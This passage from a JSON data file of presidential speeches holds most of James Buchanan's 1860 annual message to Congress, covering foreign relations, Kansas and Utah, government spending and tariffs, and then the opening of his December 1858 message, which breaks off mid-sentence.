1812. Whilst it remained\nopen they might at any moment have been precipitated into a war. This was\nrendered manifest by the exasperated state of public feeling throughout our\nentire country produced by the forcible search of American merchant vessels\nby British cruisers on the coast of Cuba in the spring of 1858. The\nAmerican people hailed with general acclaim the orders of the Secretary of\nthe Navy to our naval force in the Gulf of Mexico \"to protect all vessels\nof the United States on the high seas from search or detention by the\nvessels of war of any other nation.\" These orders might have produced an\nimmediate collision between the naval forces of the two countries. This was\nmost fortunately prevented by an appeal to the justice of Great Britain and\nto the law of nations as expounded by her own most eminent jurists.The only question of any importance which still remains open is the\ndisputed title between the two Governments to the island of San Juan, in\nthe vicinity of Washington Territory. As this question is still under\nnegotiation, it is not deemed advisable at the present moment to make any\nother allusion to the subject.The recent visit of the Prince of Wales, in a private character, to the\npeople of this country has proved to be a most auspicious event. In its\nconsequences it can not fail to increase the kindred and kindly feelings\nwhich I trust may ever actuate the Government and people of both countries\nin their political and social intercourse with each other.With France, our ancient and powerful ally, our relations continue to be of\nthe most friendly character. A decision has recently been made by a French\njudicial tribunal, with the approbation of the Imperial Government, which\ncan not fail to foster the sentiments of mutual regard that have so long\nexisted between the two countries. Under the French law no person can serve\nin the armies of France unless he be a French citizen. The law of France\nrecognizing the natural right of expatriation, it follows as a necessary\nconsequence that a Frenchman by the fact of having become a citizen of the\nUnited States has changed his allegiance and has lost his native character.\nHe can not therefore be compelled to serve in the French armies in case he\nshould return to his native country. These principles were announced in\n1852 by the French minister of war and in two late cases have been\nconfirmed by the French judiciary. In these, two natives of France have\nbeen discharged from the French army because they had become American\ncitizens. To employ the language of our present minister to France, who has\nrendered good service on this occasion. \"I do not think our French\nnaturalized fellow-citizens will hereafter experience much annoyance on\nthis subject.\"I venture to predict that the time is not far distant when the other\ncontinental powers will adopt the same wise and just policy which has done\nso much honor to the enlightened Government of the Emperor. In any event,\nour Government is bound to protect the rights of our naturalized citizens\neverywhere to the same extent as though they had drawn their first breath\nin this country. We can recognize no distinction between our native and\nnaturalized citizens.Between the great Empire of Russia and the United States the mutual\nfriendship and regard which has so long existed still continues to prevail,\nand if possible to increase. Indeed, our relations with that Empire are all\nthat we could desire. Our relations with Spain are now of a more\ncomplicated, though less dangerous, character than they have been for many\nyears. Our citizens have long held and continue to hold numerous claims\nagainst the Spanish Government. These had been ably urged for a series of\nyears by our successive diplomatic representatives at Madrid, but without\nobtaining redress. The Spanish Government finally agreed to institute a\njoint commission for the adjustment of these claims, and on the 5th day of\nMarch, 1860, concluded a convention for this purpose with our present\nminister at Madrid.Under this convention what have been denominated the \"Cuban claims,\"\namounting to $128,635.54, in which more than 100 of our fellow-citizens are\ninterested, were recognized, and the Spanish Government agreed to pay\n$100,000 of this amount \"within three months following the exchange of\nratifications.\" The payment of the remaining $28,635.54 was to await the\ndecision of the commissioners for or against the Amistad claim; but in any\nevent the balance was to be paid to the claimants either by Spain or the\nUnited States. These terms, I have every reason to know, are highly\nsatisfactory to the holders of the Cuban claims. Indeed, they have made a\nformal offer authorizing the State Department to settle these claims and to\ndeduct the amount of the Amistad claim from the sums which they are\nentitled to receive from Spain. This offer, of course, can not be accepted.\nAll other claims of citizens of the United States against Spain, or the\nsubjects of the Queen of Spain against the United States, including the\nAmistad claim, were by this convention referred to a board of commissioners\nin the usual form. Neither the validity of the Amistad claim nor of any\nother claim against either party, with the single exception of the Cuban\nclaims, was recognized by the convention. Indeed, the Spanish Government\ndid not insist that the validity of the Amistad claim should be thus\nrecognized, notwithstanding its payment had been recommended to Congress by\ntwo of my predecessors, as well as by myself, and an appropriation for that\npurpose had passed the Senate of the United States.They were content that it should be submitted to the board for examination\nand decision like the other claims. Both Governments were bound\nrespectively to pay the amounts awarded to the several claimants \"at such\ntimes and places as may be fixed by and according to the tenor of said\nawards.\"I transmitted this convention to the Senate for their constitutional action\non the 3d of May, 1860, and on the 27th of the succeeding June they\ndetermined that they would \"not advise and consent\" to its ratification.These proceedings place our relations with Spain in an awkward and\nembarrassing position. It is more than probable that the final adjustment\nof these claims will devolve upon my successor.I reiterate the recommendation contained in my annual message of December,\n1858, and repeated in that of December, 1859, in favor of the acquisition\nof Cuba from Spain by fair purchase. I firmly believe that such an\nacquisition would contribute essentially to the well-being and prosperity\nof both countries in all future time, as well as prove the certain means of\nimmediately abolishing the African slave trade throughout the world. I\nwould not repeat this recommendation upon the present occasion if I\nbelieved that the transfer of Cuba to the United States upon conditions\nhighly favorable to Spain could justly tarnish the national honor of the\nproud and ancient Spanish monarchy. Surely no person ever attributed to the\nfirst Napoleon a disregard of the national honor of France for transferring\nLouisiana to the United States for a fair equivalent, both in money and\ncommercial advantages.With the Emperor of Austria and the remaining continental powers of Europe,\nincluding that of the Sultan, our relations continue to be of the most\nfriendly character.The friendly and peaceful policy pursued by the Government of the United\nStates toward the Empire of China has produced the most satisfactory\nresults. The treaty of Tien-tsin of the 18th June, 1858, has been\nfaithfully observed by the Chinese authorities. The convention of the 8th\nNovember, 1858, supplementary to this treaty, for the adjustment and\nsatisfaction of the claims of our citizens on China referred to in my last\nannual message, has been already carried into effect so far as this was\npracticable. Under this convention the sum of 500,000 taels, equal to about\n$700,000, was stipulated to be paid in satisfaction of the claims of\nAmerican citizens out of the one-fifth of the receipts for tonnage, import,\nand export duties on American vessels at the ports of Canton, Shanghai, and\nFuchau, and it was \"agreed that this amount shall be in full liquidation of\nall claims of American citizens at the various ports to this date.\"\nDebentures for this amount, to wit, 300,000 taels for Canton, 100,000 for\nShanghai, and 100,000 for Fuchau, were delivered, according to the terms of\nthe convention, by the respective Chinese collectors of the customs of\nthese ports to the agent selected by our minister to receive the same.\nSince that time the claims of our citizens have been adjusted by the board\nof commissioners appointed for that purpose under the act of March 3, 1859,\nand their awards, which proved satisfactory to the claimants, have been\napproved by our minister. In the aggregate they amount to the sum of\n$498,694.78. The claimants have already received a large proportion of the\nsums awarded to them out of the fund provided, and it is confidently\nexpected that the remainder will ere long be entirely paid. After the\nawards shall have been satisfied there will remain a surplus of more than\n$200,000 at the disposition of Congress. As this will, in equity, belong to\nthe Chinese Government, would not justice require its appropriation to some\nbenevolent object in which the Chinese may be specially interested?Our minister to China, in obedience to his instructions, has remained\nperfectly neutral in the war between Great Britain and France and the\nChinese Empire, although, in conjunction with the Russian minister, he was\never ready and willing, had the opportunity offered, to employ his good\noffices in restoring peace between the parties. It is but an act of simple\njustice, both to our present minister and his predecessor, to state that\nthey have proved fully equal to the delicate, trying, and responsible\npositions in which they have on different occasions been placed.The ratifications of the treaty with Japan concluded at Yeddo on the 29th\nJuly, 1858, were exchanged at Washington on the 22d May last, and the\ntreaty itself was proclaimed on the succeeding day. There is good reason to\nexpect that under its protection and influence our trade and intercourse\nwith that distant and interesting people will rapidly increase.The ratifications of the treaty were exchanged with unusual solemnity. For\nthis purpose the Tycoon had accredited three of his most distinguished\nsubjects as envoys extraordinary and ministers plenipotentiary, who were\nreceived and treated with marked distinction and kindness, both by the\nGovernment and people of the United States. There is every reason to\nbelieve that they have returned to their native land entirely satisfied\nwith their visit and inspired by the most friendly feelings for our\ncountry. Let us ardently hope, in the language of the treaty itself, that\n\"there shall henceforward be perpetual peace and friendship between the\nUnited States of America and His Majesty the Tycoon of Japan and his\nsuccessors.\"With the wise, conservative, and liberal Government of the Empire of Brazil\nour relations continue to be of the most amicable character.The exchange of the ratifications of the convention with the Republic of\nNew Granada signed at Washington on the 10th of September, 1857, has been\nlong delayed from accidental causes for which neither party is censurable.\nThese ratifications were duly exchanged in this city on the 5th of November\nlast. Thus has a controversy been amicably terminated which had become so\nserious at the period of my inauguration as to require me, on the 17th of\nApril, 1857, to direct our minister to demand his passports and return to\nthe United States.Under this convention the Government of New Granada has specially\nacknowledged itself to be responsible to our citizens \"for damages which\nwere caused by the riot at Panama on the 15th April, 1856.\" These claims,\ntogether with other claims of our citizens which had been long urged in\nvain, are referred for adjustment to a board of commissioners. I submit a\ncopy of the convention to Congress, and recommend the legislation necessary\nto carry it into effect.Persevering efforts have been made for the adjustment of the claims of\nAmerican citizens against the Government of Costa Rica, and I am happy to\ninform you that these have finally prevailed. A convention was signed at\nthe city of San Jose on the 2d July last, between the minister resident of\nthe United States in Costa Rica and the plenipotentiaries of that Republic,\nreferring these claims to a board of commissioners and providing for the\npayment of their awards. This convention will be submitted immediately to\nthe Senate for their constitutional action.The claims of our citizens upon the Republic of Nicaragua have not yet been\nprovided for by treaty, although diligent efforts for this purpose have\nbeen made by our minister resident to that Republic. These are still\ncontinued, with a fair prospect of success.Our relations with Mexico remain in a most unsatisfactory condition. In my\nlast two annual messages I discussed extensively the subject of these\nrelations, and do not now propose to repeat at length the facts and\narguments then presented. They proved conclusively that our citizens\nresiding in Mexico and our merchants trading thereto had suffered a series\nof wrongs and outrages such as we have never patiently borne from any other\nnation. For these our successive ministers, invoking the faith of treaties,\nhad in the name of their country persistently demanded redress and\nindemnification, but without the slightest effect. Indeed, so confident had\nthe Mexican authorities become of our patient endurance that they\nuniversally believed they might commit these outrages upon American\ncitizens with absolute impunity. Thus wrote our minister in 1856, and\nexpressed the opinion that \"nothing but a manifestation of the power of the\nGovernment and of its purpose to punish these wrongs will avail.\"Afterwards, in 1857, came the adoption of a new constitution for Mexico,\nthe election of a President and Congress under its provisions, and the\ninauguration of the President. Within one short month, however, this\nPresident was expelled from the capital by a rebellion in the army, and the\nsupreme power of the Republic was assigned to General Zuloaga. This usurper\nwas in his turn soon compelled to retire and give place to General\nMiramon.Under the constitution which had thus been adopted Senor Juarez, as chief\njustice of the supreme court, became the lawful President of the Republic,\nand it was for the maintenance of the constitution and his authority\nderived from it that the civil war commenced and still continues to be\nprosecuted.Throughout the year 1858 the constitutional party grew stronger and\nstronger. In the previous history of Mexico a successful military\nrevolution at the capital had almost universally been the signal for\nsubmission throughout the Republic. Not so on the present occasion. A\nmajority of the citizens persistently sustained the constitutional\nGovernment. When this was recognized, in April, 1859, by the Government of\nthe United States, its authority extended over a large majority of the\nMexican States and people, including Vera Cruz and all the other important\nseaports of the Republic. From that period our commerce with Mexico began\nto revive, and the constitutional Government has afforded it all the\nprotection in its power.Meanwhile the Government of Miramon still held sway at the capital and over\nthe surrounding country, and continued its outrages against the few\nAmerican citizens who still had the courage to remain within its power. To\ncap the climax, after the battle of Tacubaya, in April, 1859, General\nMarquez ordered three citizens of the United States, two of them\nphysicians, to be seized in the hospital at that place, taken out and shot,\nwithout crime and without trial. This was done, notwithstanding our\nunfortunate countrymen were at the moment engaged in the holy cause of\naffording relief to the soldiers of both parties who had been wounded in\nthe battle, without making any distinction between them.The time had arrived, in my opinion, when this Government was bound to\nexert its power to avenge and redress the wrongs of our citizens and to\nafford them protection in Mexico. The interposing obstacle was that the\nportion of the country under the sway of Miramon could not be reached\nwithout passing over territory under the jurisdiction of the constitutional\nGovernment. Under these circumstances I deemed it my duty to recommend to\nCongress in my last annual message the employment of a sufficient military\nforce to penetrate into the interior, where the Government of Miramon was\nto be found, with or, if need be, without the consent of the Juarez\nGovernment, though it was not doubted that this consent could be obtained.\nNever have I had a clearer conviction on any subject than of the justice as\nwell as wisdom of such a policy. No other alternative was left except the\nentire abandonment of our fellow-citizens who had gone to Mexico under the\nfaith of treaties to the systematic injustice, cruelty, and oppression of\nMiramon's Government. Besides, it is almost certain that the simple\nauthority to employ this force would of itself have accomplished all our\nobjects without striking a single blow. The constitutional Government would\nthen ere this have been established at the City of Mexico, and would have\nbeen ready and willing to the extent of its ability to do us justice.In addition--and I deem this a most important consideration--European\nGovernments would have been deprived of all pretext to interfere in the\nterritorial and domestic concerns of Mexico. We should thus have been\nrelieved from the obligation of resisting, even by force should this become\nnecessary, any attempt by these Governments to deprive our neighboring\nRepublic of portions of her territory--a duty from which we could not\nshrink without abandoning the traditional and established policy of the\nAmerican people. I am happy to observe that, firmly relying upon the\njustice and good faith of these Governments, there is no present danger\nthat such a contingency will happen.Having discovered that my recommendations would not be sustained by\nCongress, the next alternative was to accomplish in some degree, if\npossible, the same objects by treaty stipulations with the constitutional\nGovernment. Such treaties were accordingly concluded by our late able and\nexcellent minister to Mexico, and on the 4th of January last were submitted\nto the Senate for ratification. As these have not yet received the final\naction of that body, it would be improper for me to present a detailed\nstatement of their provisions. Still, I may be permitted to express the\nopinion in advance that they are calculated to promote the agricultural,\nmanufacturing, and commercial interests of the country and to secure our\njust influence with an adjoining Republic as to whose fortunes and fate we\ncan never feel indifferent, whilst at the same time they provide for the\npayment of a considerable amount toward the satisfaction of the claims of\nour injured fellow-citizens.At the period of my inauguration I was confronted in Kansas by a\nrevolutionary government existing under what is called the \"Topeka\nconstitution.\" Its avowed object was to subdue the Territorial government\nby force and to inaugurate what was called the \"Topeka government\" in its\nstead. To accomplish this object an extensive military organization was\nformed, and its command intrusted to the most violent revolutionary\nleaders. Under these circumstances it became my imperative duty to exert\nthe whole constitutional power of the Executive to prevent the flames of\ncivil war from again raging in Kansas, which in the excited state of the\npublic mind, both North and South, might have extended into the neighboring\nStates. The hostile parties in Kansas had been inflamed against each other\nby emissaries both from the North and the South to a degree of malignity\nwithout parallel in our history. To prevent actual collision and to assist\nthe civil magistrates in enforcing the laws, a strong detachment of the\nArmy was stationed in the Territory, ready to aid the marshal and his\ndeputies when lawfully called upon as a posse comitatus in the execution of\ncivil and criminal process. Still, the troubles in Kansas could not have\nbeen permanently settled without an election by the people.The ballot box is the surest arbiter of disputes among freemen. Under this\nconviction every proper effort was employed to induce the hostile parties\nto vote at the election of delegates to frame a State constitution, and\nafterwards at the election to decide whether Kansas should be a slave or\nfree State.The insurgent party refused to vote at either, lest this might be\nconsidered a recognition on their part of the Territorial government\nestablished by Congress. A better spirit, however, seemed soon after to\nprevail, and the two parties met face to face at the third election, held\non the first Monday of January, 1858, for members of the legislature and\nState officers under the Lecompton constitution. The result was the triumph\nof the antislavery party at the polls. This decision of the ballot box\nproved clearly that this party were in the majority, and removed the danger\nof civil war. From that time we have heard little or nothing of the Topeka\ngovernment, and all serious danger of revolutionary troubles in Kansas was\nthen at an end.The Lecompton constitution, which had been thus recognized at this State\nelection by the votes of both political parties in Kansas, was transmitted\nto me with the request that I should present it to Congress. This I could\nnot have refused to do without violating my clearest and strongest\nconvictions of duty. The constitution and all the proceedings which\npreceded and followed its formation were fair and regular on their face. I\nthen believed, and experience has proved, that the interests of the people\nof Kansas would have been best consulted by its admission as a State into\nthe Union, especially as the majority within a brief period could have\namended the constitution according to their will and pleasure. If fraud\nexisted in all or any of these proceedings, it was not for the President\nbut for Congress to investigate and determine the question of fraud and\nwhat ought to be its consequences. If at the first two elections the\nmajority refused to vote, it can not be pretended that this refusal to\nexercise the elective franchise could invalidate an election fairly held\nunder lawful authority, even if they had not subsequently voted at the\nthird election. It is true that the whole constitution had not been\nsubmitted to the people, as I always desired; but the precedents are\nnumerous of the admission of States into the Union without such submission.\nIt would not comport with my present purpose to review the proceedings of\nCongress upon the Lecompton constitution. It is sufficient to observe that\ntheir final action has removed the last vestige of serious revolutionary\ntroubles. The desperate hand recently assembled under a notorious outlaw in\nthe southern portion of the Territory to resist the execution of the laws\nand to plunder peaceful citizens will, I doubt not be speedily subdued and\nbrought to justice.Had I treated the Lecompton constitution as a nullity and refused to\ntransmit it to Congress, it is not difficult to imagine, whilst recalling\nthe position of the country at that moment, what would have been the\ndisastrous consequences, both in and out of the Territory, from such a\ndereliction of duty on the part of the Executive.Peace has also been restored within the Territory of Utah, which at the\ncommencement of my Administration was in a state of open rebellion. This\nwas the more dangerous, as the people, animated by a fanatical spirit and\nintrenched within their distant mountain fastnesses, might have made a long\nand formidable resistance. Cost what it might, it was necessary to bring\nthem into subjection to the Constitution and the laws. Sound policy,\ntherefore, as well as humanity, required that this object should if\npossible be accomplished without the effusion of blood. This could only be\neffected by sending a military force into the Territory sufficiently strong\nto convince the people that resistance would be hopeless, and at the same\ntime to offer them a pardon for past offenses on condition of immediate\nsubmission to the Government. This policy was pursued with eminent success,\nand the only cause for regret is the heavy expenditure required to march a\nlarge detachment of the Army to that remote region and to furnish it\nsubsistence.Utah is now comparatively peaceful and quiet, and the military force has\nbeen withdrawn, except that portion of it necessary to keep the Indians in\ncheck and to protect the emigrant trains on their way to our Pacific\npossessions.In my first annual message I promised to employ my best exertions in\ncooperation with Congress to reduce the expenditures of the Government\nwithin the limits of a wise and judicious economy. An overflowing Treasury\nhad produced habits of prodigality and extravagance which could only be\ngradually corrected. The work required both time and patience. I applied\nmyself diligently to this task from the beginning and was aided by the able\nand energetic efforts of the heads of the different Executive Departments.\nThe result of our labors in this good cause did not appear in the sum total\nof our expenditures for the first two years, mainly in consequence of the\nextraordinary expenditure necessarily incurred in the Utah expedition and\nthe very large amount of the contingent expenses of Congress during this\nperiod. These greatly exceeded the pay and mileage of the members. For the\nyear ending June 30, 1858, whilst the pay and mileage amounted to\n$1,490,214, the contingent expenses rose to $2,093,309.79; and for the year\nending June 30, 1859, whilst the pay and mileage amounted to $859,093.66,\nthe contingent expenses amounted to $1,431,565.78. I am happy, however, to\nbe able to inform you that during the last fiscal year, ending June 30,\n1860, the total expenditures of the Government in all its\nbranches--legislative, executive, and judicial--exclusive of the public\ndebt, were reduced to the sum of $55,402,465.46. This conclusively appears\nfrom the books of the Treasury. In the year ending June 30, 1858, the total\nexpenditure, exclusive of the public debt, amounted to $71,901,129.77, and\nthat for the year ending June 30, 1859, to $66,346,226.13. Whilst the books\nof the Treasury show an actual expenditure of $59,848,474.72 for the year\nending June 30, 1860, including $1,040,667.71 for the contingent expenses\nof Congress, there must be deducted from this amount the sum of\n$4,296,009.26, with the interest upon it of $150,000, appropriated by the\nact of February 15, 1860, \"for the purpose of supplying the deficiency in\nthe revenues and defraying the expenses of the Post-Office Department for\nthe year ending June 30, 1859.\" This sum therefore justly chargeable to the\nyear 1859, must be deducted from the sum of $59,848,474.72 in order to\nascertain the expenditure for the year ending June 30, 1860, which leaves a\nbalance for the expenditures of that year of $55,402,465.46. The interest\non the public debt, including Treasury notes, for the same fiscal year,\nending June 30, 1860, amounted to $3,177,314.62, which, added to the above\nsum of $55,402,465.46, makes the aggregate of $58,579,780.08.It ought in justice to be observed that several of the estimates from the\nDepartments for the year ending June 30, 1860, were reduced by Congress\nbelow what was and still is deemed compatible with the public interest.\nAllowing a liberal margin of $2,500,000 for this reduction and for other\ncauses, it may be safely asserted that the sum of $61,000,000, or, at the\nmost, $62,000,000, is amply sufficient to administer the Government and to\npay the interest on the public debt, unless contingent events should\nhereafter render extraordinary expenditures necessary.This result has been attained in a considerable degree by the care\nexercised by the appropriate Departments in entering into public contracts.\nI have myself never interfered with the award of any such contract, except\nin a single case, with the Colonization Society, deeming it advisable to\ncast the whole responsibility in each case on the proper head of the\nDepartment, with the general instruction that these contracts should always\nbe given to the lowest and best bidder. It has ever been my opinion that\npublic contracts are not a legitimate source of patronage to be conferred\nupon personal or political favorites, but that in all such cases a public\nofficer is bound to act for the Government as a prudent individual would\nact for himself.It is with great satisfaction I communicate the fact that since the date of\nmy last annual message not a single slave has been imported into the United\nStates in violation of the laws prohibiting the African slave trade. This\nstatement is rounded upon a thorough examination and investigation of the\nsubject. Indeed, the spirit which prevailed some time since among a portion\nof our fellow-citizens in favor of this trade seems to have entirely\nsubsided.I also congratulate you upon the public sentiment which now exists against\nthe crime of setting on foot military expeditions within the limits of the\nUnited States to proceed from thence and make war upon the people of\nunoffending States with whom we are at peace. In this respect a happy\nchange has been effected since the commencement of my Administration. It\nsurely ought to be the prayer of every Christian and patriot that such\nexpeditions may never again receive countenance in our country or depart\nfrom our shores.It would be a useless repetition to do more than refer with earnest\ncommendation to my former recommendations in favor of the Pacific railroad;\nof the grant of power to the President to employ the naval force in the\nvicinity for the protection of the lives and property of our\nfellow-citizens passing in transit over the different Central American\nroutes against sudden and lawless outbreaks and depredations, and also to\nprotect American merchant vessels, their crews and cargoes, against violent\nand unlawful seizure and confiscation in the ports of Mexico and the South\nAmerican Republics when these may be in a disturbed and revolutionary\ncondition. It is my settled conviction that without such a power we do not\nafford that protection to those engaged in the commerce of the country\nwhich they have a right to demand.I again recommend to Congress the passage of a law, in pursuance of the\nprovisions of the Constitution, appointing a day certain previous to the\n4th March in each year of an odd number for the election of Representatives\nthroughout all the States. A similar power has already been exercised, with\ngeneral approbation, in the appointment of the same day throughout the\nUnion for holding the election of electors for President and Vice-President\nof the United States. My attention was earnestly directed to this subject\nfrom the fact that the Thirty-fifth Congress terminated on the 3d March,\n1859, without making the necessary appropriation for the service of the\nPost-Office Department. I was then forced to consider the best remedy for\nthis omission, and an immediate call of the present Congress was the\nnatural resort. Upon inquiry, however, I ascertained that fifteen out of\nthe thirty-three States composing the Confederacy were without\nRepresentatives, and that consequently these fifteen States would be\ndisfranchised by such a call. These fifteen States will be in the same\ncondition on the 4th March next. Ten of them can not elect Representatives,\naccording to existing State laws, until different periods, extending from\nthe beginning of August next until the months of October and November. In\nmy last message I gave warning that in a time of sudden and alarming danger\nthe salvation of our institutions might depend upon the power of the\nPresident immediately to assemble a full Congress to meet the emergency.It is now quite evident that the financial necessities of the Government\nwill require a modification of the tariff during your present session for\nthe purpose of increasing the revenue. In this aspect, I desire to\nreiterate the recommendation contained in my last two annual messages in\nfavor of imposing specific instead of ad valorem duties on all imported\narticles to which these can be properly applied. From long observation and\nexperience I am convinced that specific duties are necessary, both to\nprotect the revenue and to secure to our manufacturing interests that\namount of incidental encouragement which unavoidably results from a revenue\ntariff.As an abstract proposition it may be admitted that ad valorem duties would\nin theory be the most just and equal. But if the experience of this and of\nall other commercial nations has demonstrated that such duties can not be\nassessed and collected without great frauds upon the revenue, then it is\nthe part of wisdom to resort to specific duties. Indeed, from the very\nnature of an ad valorem duty this must be the result. Under it the\ninevitable consequence is that foreign goods will be entered at less than\ntheir true value. The Treasury will therefore lose the duty on the\ndifference between their real and fictitious value, and to this extent we\nare defrauded.The temptations which ad valorem duties present to a dishonest importer are\nirresistible. His object is to pass his goods through the custom-house at\nthe very lowest valuation necessary to save them from confiscation. In this\nhe too often succeeds in spite of the vigilance of the revenue officers.\nHence the resort to false invoices, one for the purchaser and another for\nthe custom-house, and to other expedients to defraud the Government. The\nhonest importer produces his invoice to the collector, stating the actual\nprice at which he purchased the articles abroad. Not so the dishonest\nimporter and the agent of the foreign manufacturer. And here it may be\nobserved that a very large proportion of the manufactures imported from\nabroad are consigned for sale to commission merchants, who are mere agents\nemployed by the manufacturers. In such cases no actual sale has been made\nto fix their value. The foreign manufacturer, if he be dishonest, prepares\nan invoice of the goods, not at their actual value, but at the very lowest\nrate necessary to escape detection. In this manner the dishonest importer\nand the foreign manufacturer enjoy a decided advantage over the honest\nmerchant. They are thus enabled to undersell the fair trader and drive him\nfrom the market. In fact the operation of this system has already driven\nfrom the pursuits of honorable commerce many of that class of regular and\nconscientious merchants whose character throughout the world is the pride\nof our country.The remedy for these evils is to be found in specific duties, so far as\nthis may be practicable. They dispense with any inquiry at the custom-house\ninto the actual cost or value of the article, and it pays the precise\namount of duty previously fixed by law. They present no temptations to the\nappraisers of foreign goods, who receive but small salaries, and might by\nundervaluation in a few cases render themselves independent.Besides, specific duties best conform to the requisition in the\nConstitution that \"no preference shall be given by any regulation of\ncommerce or revenue to the ports of one State over those of another.\" Under\nour ad valorem system such preferences are to some extent inevitable, and\ncomplaints have often been made that the spirit of this provision has been\nviolated by a lower appraisement of the same articles at one port than at\nanother.An impression strangely enough prevails to some extent that specific duties\nare necessarily protective duties. Nothing can be more fallacious. Great\nBritain glories in free trade, and yet her whole revenue from imports is at\nthe present moment collected under a system of specific duties. It is a\nstriking fact in this connection that in the commercial treaty of January\n23, 1860, between France and England one of the articles provides that the\nad valorem duties which it imposes shall be converted into specific duties\nwithin six months from its date, and these are to be ascertained by making\nan average of the prices for six months previous to that time. The reverse\nof the propositions would be nearer to the truth, because a much larger\namount of revenue would be collected by merely converting the ad valorem\nduties of a tariff into equivalent specific duties. To this extent the\nrevenue would be increased, and in the same proportion the specific duty\nmight be diminished.Specific duties would secure to the American manufacturer the incidental\nprotection to which he is fairly entitled under a revenue tariff, and to\nthis surely no person would object. The framers of the existing tariff have\ngone further, and in a liberal spirit have discriminated in favor of large\nand useful branches of our manufactures, not by raising the rate of duty\nupon the importation of similar articles from abroad, but, what is the same\nin effect, by admitting articles free of duty which enter into the\ncomposition of their fabrics.Under the present system it has been often truly remarked that this\nincidental protection decreases when the manufacturer needs it most and\nincreases when he needs it least, and constitutes a sliding scale which\nalways operates against him. The revenues of the country are subject to\nsimilar fluctuations. Instead of approaching a steady standard, as would be\nthe case under a system of specific duties, they sink and rise with the\nsinking and rising prices of articles in foreign countries. It would not be\ndifficult for Congress to arrange a system of specific duties which would\nafford additional stability both to our revenue and our manufactures and\nwithout injury or injustice to any interest of the country. This might be\naccomplished by ascertaining the average value of any given article for a\nseries of years at the place of exportation and by simply converting the\nrate of ad valorem duty upon it which might be deemed necessary for revenue\npurposes into the form of a specific duty. Such an arrangement could not\ninjure the consumer. If he should pay a greater amount of duty one year,\nthis would be counterbalanced by a lesser amount the next, and in the end\nthe aggregate would be the same.I desire to call your immediate attention to the present condition of the\nTreasury, so ably and clearly presented by the Secretary in his report to\nCongress, and to recommend that measures be promptly adopted to enable it\nto discharge its pressing obligations. The other recommendations of the\nreport are well worthy of your favorable consideration.I herewith transmit to Congress the reports of the Secretaries of War, of\nthe Navy, of the Interior, and of the Postmaster-General. The\nrecommendations and suggestions which they contain are highly valuable and\ndeserve your careful attention.The report of the Postmaster-General details the circumstances under which\nCornelius Vanderbilt, on my request, agreed in the month of July last to\ncarry the ocean mails between our Atlantic and Pacific coasts. Had he not\nthus acted this important intercommunication must have been suspended, at\nleast for a season. The Postmaster-General had no power to make him any\nother compensation than the postages on the mail matter which he might\ncarry. It was known at the time that these postages would fall far short of\nan adequate compensation, as well as of the sum which the same service had\npreviously cost the Government. Mr. Vanderbilt, in a commendable spirit,\nwas willing to rely upon the justice of Congress to make up the deficiency,\nand I therefore recommend that an appropriation may be granted for this\npurpose.I should do great injustice to the Attorney-General were I to omit the\nmention of his distinguished services in the measures adopted and\nprosecuted by him for the defense of the Government against numerous and\nunfounded claims to land in California purporting to have been made by the\nMexican Government previous to the treaty of cession. The successful\nopposition to these claims has saved the United States public property\nworth many millions of dollars and to individuals holding title under them\nto at least an equal amount.It has been represented to me from sources which I deem reliable that the\ninhabitants in several portions of Kansas have been reduced nearly to a\nstate of starvation on account of the almost total failure of their crops,\nwhilst the harvests in every other portion of the country have been\nabundant. The prospect before them for the approaching winter is well\ncalculated to enlist the sympathies of every heart. The destitution appears\nto be so general that it can not be relieved by private contributions, and\nthey are in such indigent circumstances as to be unable to purchase the\nnecessaries of life for themselves. I refer the subject to Congress. If any\nconstitutional measure for their relief can be devised, I would recommend\nits adoption.I cordially commend to your favorable regard the interests of the people of\nthis District. They are eminently entitled to your consideration,\nespecially since, unlike the people of the States, they can appeal to no\ngovernment except that of the Union.", 
+    "name": "James Buchanan"
+}
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+{
+    "date": "December 6, 1858", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:When we compare the condition of the country at the present day with what\nit was one year ago at the meeting of Congress, we have much reason for\ngratitude to that Almighty Providence which has never failed to interpose\nfor our relief at the most critical periods of our history. One year ago\nthe sectional strife between the North and the South on the dangerous\nsubject of slavery had again become so intense as to threaten the peace and\nperpetuity of the Confederacy. The application for the admission of Kansas\nas a State into the Union fostered this unhappy agitation and brought the\nwhole subject once more before Congress. It was the desire of every patriot\nthat such measures of legislation might be adopted as would remove the\nexcitement from the States and confine it to the Territory where it\nlegitimately belonged. Much has been done, I am happy to say, toward the\naccomplishment of this object during the last session of Congress. The\nSupreme Court of the United States had previously decided that all American\ncitizens have an equal right to take into the Territories whatever is held\nas property under the laws of any of the States, and to hold such property\nthere under the guardianship of the Federal Constitution so long as the\nTerritorial condition shall remain.This is now a well-established position, and the proceedings of the last\nsession were alone wanting to give it practical effect. The principle has\nbeen recognized in some form or other by an almost unanimous vote of both\nHouses of Congress that a Territory has a right to come into the Union\neither as a free or a slave State, according to the will of a majority of\nits people. The just equality of all the States has thus been vindicated\nand a fruitful source of dangerous dissension among them has been removed.Whilst such has been the beneficial tendency of your legislative\nproceedings outside of Kansas, their influence has nowhere been so happy as\nwithin that Territory itself. Left to manage and control its own affairs in\nits own way, without the pressure of external influence, the revolutionary\nTopeka organization and all resistance to the Territorial government\nestablished by Congress have been finally abandoned. As a natural\nconsequence that fine Territory now appears to be tranquil and prosperous\nand is attracting increasing thousands of immigrants to make it their happy\nhome.The past unfortunate experience of Kansas has enforced the lesson, so often\nalready taught, that resistance to lawful authority under our form of\ngovernment can not fail in the end to prove disastrous to its authors. Had\nthe people of the Territory yielded obedience to the laws enacted by their\nlegislature, it would at the present moment have contained a large\nadditional population of industrious and enterprising citizens, who have\nbeen deterred from entering its borders by the existence of civil strife\nand organized rebellion.It was the resistance to rightful authority and the persevering attempts to\nestablish a revolutionary government under the Topeka constitution which\ncaused the people of Kansas to commit the grave error of refusing to vote\nfor delegates to the convention to frame a constitution under a law not\ndenied to be fair and just in its provisions. This refusal to vote has been\nthe prolific source of all the evils which have followed, In their\nhostility to the Territorial government they disregarded the principle,\nabsolutely essential to the working of our form of government, that a\nmajority of those who vote, not the majority who may remain at home, from\nwhatever cause, must decide the result of an election. For this reason,\nseeking to take advantage of their own error, they denied the authority of\nthe convention thus elected to frame a constitution.The convention, notwithstanding, proceeded to adopt a constitution\nunexceptionable in its general features, and providing for the submission\nof the slavery question to a vote of the people, which, in my opinion, they\nwere bound to do under the Kansas and Nebraska act. This was the\nall-important question which had alone convulsed the Territory; and yet the\nopponents of the lawful government, persisting in their first error,\nrefrained from exercising their right to vote, and preferred that slavery\nshould continue rather than surrender their revolutionary Topeka\norganization.A wiser and better spirit seemed to prevail before the first Monday 